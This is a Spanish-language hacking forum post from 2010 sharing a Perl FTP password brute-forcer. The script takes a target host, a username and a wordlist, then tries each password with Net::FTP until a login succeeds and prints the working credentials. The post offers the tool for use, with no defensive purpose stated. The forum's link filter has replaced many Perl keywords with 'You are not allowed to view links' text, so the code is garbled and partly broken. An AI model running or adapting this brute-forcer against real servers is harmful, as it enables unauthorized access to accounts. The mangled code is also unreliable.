send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[PERL] Burte FTP

  • 0 Respuestas
  • 946 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:34:12 pm »
Código: Perl
  1. #!/usr/bin/perl
  2. use Net::FTP;
  3. # c0dex by m0x.lk
  4. # m0x.lk@linuxmail.org
  5. # RE & HaSe
  6. # BrFTP .-
  7. You are not allowed to view links. Register or Login ("clear");
  8. You are not allowed to view links. Register or Login ("cls");
  9. You are not allowed to view links. Register or Login ("color 72");
  10. You are not allowed to view links. Register or Login "C0dex by m0x.lk\n";
  11. You are not allowed to view links. Register or Login "\n";
  12. You are not allowed to view links. Register or Login "BrFTP .- RE & HaSe\n";
  13. You are not allowed to view links. Register or Login "\n";
  14. You are not allowed to view links. Register or Login 1;
  15. You are not allowed to view links. Register or Login "Target: ";
  16. $target=<STDIN>;
  17. You are not allowed to view links. Register or Login "\n\n";
  18. You are not allowed to view links. Register or Login "User: ";
  19. $user=<STDIN>;
  20. You are not allowed to view links. Register or Login "\n\n";
  21. You are not allowed to view links. Register or Login "Diccionario: ";
  22. $dict=<STDIN>;
  23. You are not allowed to view links. Register or Login "\n\n";
  24. $counter=0;
  25. $times=0;
  26. You are not allowed to view links. Register or Login "Conectando $target\n";
  27. You are not allowed to view links. Register or Login "\n";
  28. $ftp = Net::FTP->new($target,Debug => 1);
  29. You are not allowed to view links. Register or Login "Imposible resolver $target\n";
  30. You are not allowed to view links. Register or Login "\n";
  31. You are not allowed to view links. Register or Login (D,"<$dict") or You are not allowed to view links. Register or Login "Diccionario no encontrado\n";
  32. while(<D>)
  33. {
  34. $try = $_;
  35.     You are not allowed to view links. Register or Login $try;
  36.     $ftp->login($user,$try);
  37.     $counter++;
  38.     $tiempo++;
  39.     if($ftp->ls("."))
  40.     {
  41.    You are not allowed to view links. Register or Login "$user / $try \n";
  42.    last;
  43.     }
  44.     if($counter==$fallos)
  45.     {
  46. You are not allowed to view links. Register or Login "\n\n";
  47.    $ftp->quit;
  48.    You are not allowed to view links. Register or Login "Volviendo a conectar $target";
  49.    $ftp = Net::FTP->new($target,Debug => 1);
  50.    You are not allowed to view links. Register or Login "Imposible conectar $target\n";
  51. You are not allowed to view links. Register or Login "\n\n";
  52.    $counter=0;
  53.     }
  54. }
  55. You are not allowed to view links. Register or Login(D);
  56. You are not allowed to view links. Register or Login "\n\n";
  57. You are not allowed to view links. Register or Login "$tiempo Obtener pass";
  58. You are not allowed to view links. Register or Login "\n\n";
  59. You are not allowed to view links. Register or Login "c0dex by m0x.lk";
« Última modificación: Marzo 14, 2015, 09:46:55 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 2853
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1325
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1079
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 969
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1472
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d